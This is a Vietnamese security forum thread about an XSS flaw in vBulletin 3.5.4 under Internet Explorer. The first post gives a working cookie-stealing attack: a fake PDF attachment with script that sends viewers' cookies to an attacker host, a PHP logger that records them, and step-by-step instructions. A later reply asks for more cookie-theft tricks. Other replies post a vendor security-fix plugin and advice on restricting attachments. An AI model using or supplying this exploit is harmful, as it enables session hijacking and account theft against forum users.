XSS vbulletin 3.5.4 With IE - .:: HVAOnline ::.

English | Vietnamese

Rules

Main Forum

Portal

Member Listing

Statistics

Search

Reading Room
[Register]

Login [ | https ]

Forum Index

Thông tin new bugs và exploits

XSS vbulletin 3.5.4 With IE

[Question] XSS vbulletin 3.5.4 With IE	07/08/2006 10:31:05 (+0700) \| #1 \| 12853

darthtuan
HVA Friend

Joined: 10/08/2003 11:57:02
Messages: 312
Location: Trại cai nghiện
Offline

XSS vbulletin 3.5.4
---------------------------
Author:Stefan
Group: EnigmaGroup
---------------------------

Tạo 2 file sau

testmagic.pdf
-------------
Code:

<script>
document.write('<img src="http://127.0.0.1/c.php?c='+document.cookie+'" WIDTH=0 HEIGHT=0>');
document.location.href="https://www.google.com/adsense/testmagic.pdf";
</script>

c.php
-----
Code:

<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$date=date("m/d/Y g:i:s a");
$referer= getenv ('HTTP_REFERER');
$fl = fopen('log.txt', 'a');
fwrite($fl, "\n".$ip.' :: '.$date."\n".$referer."\n".$cookie."\n");
fclose($fl);
?>

-------------
1_ Write testmagic.pdf and c.php
2_ Put c.php on a webserver.
3_ Change the url in testmagic.pdf.
4_ Make a post with testmagic.pdf as attachement.
5_ When someone will look at your attachement, you will get his cookie in log.txt

[Question] XSS vbulletin 3.5.4 With IE	07/08/2006 10:36:20 (+0700) \| #2 \| 12855

t0ny4n
Member

Joined: 03/07/2006 10:47:01
Messages: 40
Offline

Lại get cookies à, kô bít có đc kô nhờ?
Chỉ sợ admin nó kô ngu.
Bác nào có thủ thuật nào kô share anh em đi!

[Question] Fix XSS vbulletin 3.5.4 With IE	09/08/2006 14:50:08 (+0700) \| #3 \| 13466

kara_men
Member

Joined: 27/06/2006 02:32:38
Messages: 91
Offline

Fix nè. Save dưới dạng .xml rồi làm theo hướng dẫn tại đây.
http://www.vbulletin.com/forum/showpost.php?p=1177756&postcount=3
Code:

<?xml version="1.0" encoding="ISO-8859-1"?>

<product productid="vb354security" active="1">
	<title>Security Fix for Issue in vBulletin 3.5.4</title>
	<description>This fixes a security issue in vBulletin 3.5.4 and below.</description>
	<version>1.0</version>
	<codes>
	</codes>
	<templates>
	</templates>
	<plugins>
		<plugin active="1">
			<title>Security Fix</title>
			<hookname>wwwect_generic</hookname>
			<phpcode><![CDATA[$url = str_replace(chr(0), '', $url);
$url = create_full_url($url);
$js_url = addslashes_js($url, '"'); // " has been replaced by "

$url = preg_replace(
	array('/�*59;?/', '/�*3B;?/i', '#;#'),
	'%3B',
	$url
);
$url = preg_replace('#&%3B#i', '&', $url);]]></phpcode>
		</plugin>
	</plugins>
	<phrases>
	</phrases>
	<options>
	</options>
</product>

[Question] XSS vbulletin 3.5.4 With IE	10/08/2006 04:11:36 (+0700) \| #4 \| 13642

subnetwork
Member

Joined: 05/09/2004 06:08:09
Messages: 1666
Offline

Nguyên tắc của một người quãn trị, không cho phép upload các file đính kèm lên diễn đàn cả (nếu có chĩ có 2 phần mở rộng .rar và .zip mà thôi)

Thân

Quản lý máy chủ, cài đặt, tư vấn, thiết kế, bảo mật hệ thống máy chủ dùng *nix
http://chamsocmaychu.com

Go to:

Users currently in here
1 Anonymous